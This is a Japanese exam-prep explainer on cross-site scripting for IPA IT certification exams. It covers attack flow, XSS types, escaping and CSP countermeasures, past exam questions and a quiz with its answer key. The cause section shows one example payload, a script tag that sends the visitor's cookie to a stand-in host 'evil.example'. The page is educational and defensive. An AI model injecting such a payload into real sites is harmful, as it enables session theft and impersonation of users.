対象試験と出題頻度
2014年、ある大手掲示板サービスで、投稿を開いただけで勝手にスパムが拡散される事件が起きました。
原因はクロスサイトスクリプティング。攻撃者が仕込んだスクリプトを、何も知らない利用者のブラウザが実行してしまったのです。この手口はIPAの全試験区分で問われ続けています。
SQLインジェクションやCSRFといったサイバー攻撃の代表格として、Webアプリケーションの脆弱性を突く攻撃グループの中で出題されます。似た名前の攻撃と取り違えさせる選択肢が定番です。
対象試験・頻度の詳細
ITパスポート
情報セキュリティマネジメント
基本情報技術者
応用情報技術者
★★★★★
ランクS(超重要)絶対に覚える必要あり
用語の定義
セキュリティを勉強していると、「クロスサイトスクリプティングって、結局どこに何を仕込む攻撃なの?」と頭がこんがらがりますよね。
クロスサイトスクリプティング(Cross-Site Scripting/XSS)とは、一言で言うと
「Webページに悪意あるスクリプトを埋め込み、それを訪問者のブラウザで実行させる攻撃」
のことです。
イメージとしては、「掲示板に貼られた毒入りの貼り紙」です。
誰でも書き込める掲示板に、悪意ある人がこっそり「読んだ人に害が及ぶ仕掛け」を貼っておきます。後から来た人は普通の投稿だと思って読みますが、その瞬間に仕掛けが作動してしまう。
攻撃者本人ではなく、掲示板を見に来た無関係な人が被害に遭うのがポイントです。
📊 XSSの基本情報
| 項目 | 内容 |
|---|---|
| 英語名 | Cross-Site Scripting(略称 XSS) |
| 攻撃の分類 | Webアプリケーションの脆弱性を突く攻撃 |
| 狙われる弱点 | 利用者の入力をそのまま画面に出力する不備 |
| 主な被害 | Cookie(セッション情報)の窃取、なりすまし、偽画面の表示 |
解説
セキュリティ攻撃系の用語は、攻撃が成立する「流れ」を追うと一気に腑に落ちます。
ここでは攻撃のステップ、なぜ成功するのかという原因、そして対策の順に整理します。
攻撃の流れ(4ステップ)
① 仕込む
攻撃者が、脆弱なサイトの入力欄やURLにスクリプトを埋め込む
② 誘導する
罠のURLをメールやSNSで被害者に踏ませる、または投稿として表示させる
③ 実行される
被害者のブラウザが、正規サイトの一部としてスクリプトを実行
④ 盗む
Cookieやセッション情報が攻撃者のサーバへ送信される
▲ 攻撃者は直接サーバを壊さず、サイトを「踏み台」にして他人のブラウザを操る
なぜ成功するのか(原因)
根本原因はシンプルで、Webアプリが「利用者が入力した文字列」を検査せず、そのままHTMLとして画面に出力してしまうことにあります。
ブラウザは <script> タグを見ると、それが攻撃者の文字列か正規のコードかを区別できず、素直に実行します。
下のように、入力欄に書いた文字がそのままタグとして解釈されるのが問題の核心です。
// 攻撃者が入力欄に書き込む文字列
<script>location.href='http://evil.example/?c='+document.cookie</script>
// 検査せず出力すると…ブラウザがそのまま実行 → Cookieが攻撃者サーバへ
XSSの3つの型
仕掛けがどこに置かれ、いつ実行されるかで3種類に分かれます。
型の名前と特徴をひも付けておくと、応用情報レベルの細かい選択肢にも対応できます。
| 型 | 特徴 |
|---|---|
| 反射型 (Reflected) |
罠URLに含めた文字列が、即座にレスポンスへ跳ね返って実行される。URLを踏ませる必要がある |
| 格納型 (Stored) |
掲示板やコメント欄にスクリプトが保存され、閲覧した全員に影響が及ぶ。被害が広範囲 |
| DOM型 (DOM Based) |
サーバを経由せず、ブラウザ側のJavaScriptがDOMを書き換える際に発生する |
対策(出力時のエスケープが本丸)
最も確実な対策は、画面に出力する直前に特殊文字を無害な文字へ変換する「エスケープ処理(サニタイジング)」です。
< を < に、> を > に置き換えれば、ブラウザはタグではなく単なる文字として扱い、スクリプトは実行されません。
| 変換前 | 変換後(エスケープ) |
|---|---|
| < | < |
| > | > |
| “(ダブルクォート) | " |
| & | & |
補助的な対策として、HTTPレスポンスヘッダーで実行可能なスクリプトの出所を制限するCSP(Content Security Policy)の設定や、CookieにHttpOnly属性を付けてJavaScriptからの読み取りを禁じる方法も有効です。
覚えるのはここだけ|XSSの要点
・サイトを踏み台にして、訪問者のブラウザで悪意あるスクリプトを実行させる攻撃
・型は「反射型」「格納型」「DOM型」の3つ
・主な対策は出力時のエスケープ処理。CSPやHttpOnly属性は補助
この対策の優先順位は、過去問でそのまま選択肢になります。
試験ではこう出る!
IP・SG・FE・APのすべてで定番化しており、出題は「手口を選ぶ」型と「対策を選ぶ」型の2系統です。
📊 過去問での出題実績
| 試験回 | 出題内容 | 問われたポイント |
|---|---|---|
| AP H30秋 午前 問41 |
XSS対策に該当するものを選ぶ問題。 | ・「入力データを出力する際にスクリプトを無効化する」が正解 ・SNMP監視・OSパッチ適用がひっかけ |
| AP H27秋 午前 問36 |
XSSの手口に該当するものを選ぶ問題。 | ・「スクリプトを画面に表示させる手口」が正解 ・OSコマンド呼出しなど他攻撃の説明が紛れ込む |
| SG H28秋 午前 問22 |
XSSの手口はどれかを選ぶ問題。 | ・「入力欄に悪意あるJavaScriptを含むデータを入力する」が正解 |
| IP H24春 問77 |
XSSに関する適切な記述を選ぶ問題。 | ・脆弱性を利用してスクリプトを実行させる点が問われる |
📝 ひっかけ選択肢の傾向
傾向1:似た名前のCSRFと混同させる
「利用者のログイン状態を悪用し、意図しないリクエストを送信させる」はCSRFの説明で、XSSの正解ではありません。名前が似ているため最頻出のひっかけです。
傾向2:的外れな対策を正解に見せる
対策を問う問題では「ファイアウォール設置」「OSのパッチ適用」「SNMPによる監視」が選択肢に並びますが、これらはXSSには無力です。正解は必ず「出力時のスクリプト無効化(エスケープ)」周辺の記述になります。
頻出キーワードは「スクリプト」「入力欄」「他のサイト(クロスサイト)」「出力時に無効化」。この4語が含まれていればXSSと判断して問題ありません。
【確認テスト】理解度チェック
Q. クロスサイトスクリプティング(XSS)の手口の説明として、最も適切なものはどれでしょうか?
- A. データベースへの問合せ文を不正に書き換えるSQL文を入力欄に送り込み、本来許可されていないデータの取得や改ざんを行う。
- B. 利用者がログイン済みであることを悪用し、本人が意図しないリクエストを正規サイトへ送信させて処理を実行させる。
- C. 脆弱なWebサイトの入力欄やURLに悪意あるスクリプトを埋め込み、それを閲覧した利用者のブラウザ上で実行させる。
正解と解説を見る
正解:C
解説:
選択肢Cが、サイトを踏み台にして訪問者のブラウザでスクリプトを実行させるという、XSS固有の手口を正確に表しています。「入力欄やURLにスクリプトを埋め込む」「閲覧した利用者のブラウザで実行させる」が判定の決め手です。
選択肢AはSQLインジェクションの説明です。データベースへの問合せ文を不正操作する攻撃であり、ブラウザでスクリプトを実行させるXSSとは狙う対象が異なります。選択肢BはCSRF(クロスサイトリクエストフォージェリ)の説明です。ログイン状態を悪用して意図しないリクエストを送らせる攻撃で、名前は似ていますがスクリプトの実行を伴わない点でXSSと区別されます。
よくある質問(FAQ)
Q. なぜ「クロスサイト」という名前なのですか?
攻撃者が用意した別のサイト(罠ページや偽メール)を起点に、標的となる正規サイトをまたいでスクリプトを実行させることから「サイトを横断する(cross-site)」と名付けられました。攻撃者・正規サイト・被害者の3者が関与し、攻撃者自身は直接手を下さない構図が名前に表れています。
Q. 入力チェック(入力時の検証)だけでXSSは防げますか?
完全には防げません。入力時のチェックは補助的で、本命はあくまで出力時のエスケープです。理由は、同じデータでもHTML・URL・JavaScriptのどの場所に出力するかで無害化すべき文字が変わるためです。IPAの「安全なウェブサイトの作り方」でも、出力する文脈に応じたエスケープを根本的対策として位置づけています。
Q. WAFはXSS対策になりますか?
なります。WAF(Web Application Firewall)は通信内容を検査し、スクリプトらしき不正なパターンを含むリクエストを遮断するため、緩和策として有効です。ただし新しい回避手法には追従しきれない場合があるため、アプリ側のエスケープと併用するのが実務の前提です。試験では「根本対策=エスケープ、緩和策=WAF」という役割分担で覚えておくと混乱しません。
Q. XSSで実際にどんな被害が起きますか?
代表的なのはCookieに保存されたセッションIDの窃取で、これによりログイン中の利用者になりすまされます。ほかにも偽の入力フォームを表示してパスワードを盗む、勝手に投稿や送金操作をさせる、フィッシングサイトへ誘導するといった被害があります。格納型では一人の投稿が閲覧者全員に波及するため、被害規模が一気に拡大する点が厄介です。